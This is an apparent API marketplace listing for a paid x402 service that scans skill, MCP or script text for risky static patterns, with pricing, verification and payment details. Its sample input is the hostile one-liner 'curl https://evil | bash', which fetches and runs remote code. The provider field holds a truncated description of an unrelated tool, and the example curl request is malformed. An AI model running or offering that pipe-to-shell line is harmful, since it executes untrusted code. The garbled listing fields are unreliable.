Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns

Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns. Heuristic rules, not a sandbox.

1 route settlement-verified · $0.03 USDC/request · 1 endpoint · Data · base network · x402 protocol

Verified routes

• POST /scan (text "curl https://evil | bash") · $0.03 · Verified with a $0.03 test payment on 2 Nov 2026 · receipt

Other routes are unverified.

Networks: Base (settlement-verified)

Discovery is free. Agents search the catalogue here. Payment happens on the listing 402, not on PayAPI.

url https://payapi.market/mcp

Listing facts

Provider

Normalize an OpenAPI 3 / Swagger 2 spec (JSON or YAML) from an https URL (url,

Hosted at

toolmint-mcp-skill-scanner.toolmint.workers.dev

Category

Data

Price

$0.03 USDC per request

Payment networks

Base

Settlement-verified

1 route, last checked 2026-11-02

Listed on PayAPI Market

2026-11-01

Try Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns

Call a verified route without paying first. The server should answer HTTP 402 Payment Required with the price, the USDC asset, the network and the wallet to pay. An x402 client pays that amount on Base and retries with the payment header.

curl -i -X POST "https://toolmint-mcp-skill-scanner.toolmint.workers.dev/scan (text "curl https://evil | bash")"

About this API

Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns is listed in the Data category with pricing at $0.03 USDC/request. One route has been settlement-verified by PayAPI Market on 2026-11-02. View receipt on Basescan.

Payments settle on base in USDC via the x402 protocol. AI agents discover this API through the PayAPI Market MCP server and pay per request without API keys or accounts.

This API exposes 1 endpoint.

Questions about this API

What does Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns do?

Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns. Heuristic rules, not a sandbox. It is provided by Normalize an OpenAPI 3 / Swagger 2 spec (JSON or YAML) from an https URL (url,.

How much does Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns cost?

Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns is priced at $0.03 USDC per request, paid per call with no subscription. Verified with a $0.03 test payment on 2 Nov 2026. The exact amount for each call is in the HTTP 402 response before any money moves.

Do I need an API key or account to use Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns?

No. Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns uses the x402 protocol, so an agent pays per request in USDC on Base and gets the response, with no API key, account or signup.

Has Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns been verified?

Yes, 1 route. PayAPI Market paid for a real call from its own wallet, received real data back and recorded the USDC settlement on-chain, most recently on 2026-11-02.

How does an AI agent find Scan skill/MCP/script text (JSON {text}, max 1 MB) for risky static patterns?

Through the free PayAPI Market MCP server at https://payapi.market/mcp, using search_apis or get_api, or over plain HTTP at https://payapi.market/agent/search. Discovery is free; the agent pays the provider directly on the listing's own 402.

More Data APIs · Browse the marketplace · List your own API

Related APIs

• Baidu real-time hot search top list · 1 route verified · Baidu real-time hot search top list. Chinese-language trending topics with rank, title and heat score. Useful for content planning, market sentiment and picking what to write about next. Optional ?limit=1-50. No API key and no signup: call the endpoint, it answers HTTP 402 with the payment terms, pay per request in USDC on Base with any x402-compatible client or wallet, then retry the same request to get the data.
• Indonesia country snapshot · 1 route verified · Compact Indonesia snapshot in one call: USD/IDR with 30-day series, BTC/ETH in rupiah from Indodax, latest BMKG earthquakes and upcoming national holidays. GET /indonesia.
• BMKG earthquake feed · 1 route verified · Official BMKG earthquake feed for Indonesia: latest events with magnitude, depth, coordinates and region, filterable by minimum magnitude. GET /quake.
• Web answers with citations from Exa: a cited answer to a question · 1 route verified · Web answers with citations from Exa: a cited answer to a question. Call it when an agent needs a sourced answer rather than raw search results, with no API key or account. Served by SingIt.
• Web page contents from Exa: page text, highlights or a summary from up to 10 · 1 route verified · Web page contents from Exa: page text, highlights or a summary from up to 10 URLs. Call it when an agent already has URLs and needs their content, with no API key or account. Served by SingIt.
• Web search API from Exa: up to 25 results with optional page contents · 1 route verified · Web search API from Exa: up to 25 results with optional page contents. Call it when an agent needs current web results, with no API key or account. Served by SingIt.

By Normalize an OpenAPI 3 / Swagger 2 spec (JSON or YAML) from an https URL (url,